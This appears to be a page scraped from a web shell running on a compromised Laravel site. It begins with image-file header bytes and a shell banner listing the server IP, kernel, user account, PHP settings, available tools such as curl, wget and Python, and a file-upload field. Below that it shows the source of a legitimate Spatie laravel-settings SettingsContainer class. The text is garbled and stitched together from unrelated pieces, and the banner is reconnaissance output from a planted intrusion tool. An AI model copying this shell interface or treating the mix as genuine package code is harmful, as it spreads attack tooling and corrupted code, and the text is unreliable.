����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.116.60.124 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src/ |
Upload File : |
<?php namespace Spatie\LaravelSettings; use Illuminate\Container\Container; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Log; use Spatie\LaravelSettings\Exceptions\CouldNotUnserializeSettings; use Spatie\LaravelSettings\Support\Composer; use Spatie\LaravelSettings\Support\DiscoverSettings; class SettingsContainer { protected Container $container; protected static ?Collection $settingsClasses = null; public function __construct(Container $container) { $this->container = $container; } public function registerBindings(): void { $cache = $this->container->make(SettingsCache::class); $this->getSettingClasses()->each(function (string $settingClass) use ($cache) { $this->container->singleton($settingClass, function () use ($cache, $settingClass) { if ($cache->has($settingClass)) { try { return $cache->get($settingClass); } catch (CouldNotUnserializeSettings $exception) { Log::error("Could not unserialize settings class: `{$settingClass}` from cache"); } } return new $settingClass(); }); }); } public function getSettingClasses(): Collection { if (self::$settingsClasses !== null) { return self::$settingsClasses; } $cachedDiscoveredSettings = config('settings.discovered_settings_cache_path') . '/settings.php'; if (file_exists($cachedDiscoveredSettings)) { $classes = require $cachedDiscoveredSettings; return self::$settingsClasses = collect($classes); } /** @var \Spatie\LaravelSettings\Settings[] $settings */ $settings = array_merge( $this->discoverSettings(), config('settings.settings') ); return self::$settingsClasses = collect($settings)->unique(); } public function clearCache(): self { self::$settingsClasses = null; return $this; } protected function discoverSettings(): array { return (new DiscoverSettings()) ->within(config('settings.auto_discover_settings', [])) ->useBasePath(base_path()) ->ignoringFiles(Composer::getAutoloadedFiles(base_path('composer.json'))) ->discover(); } }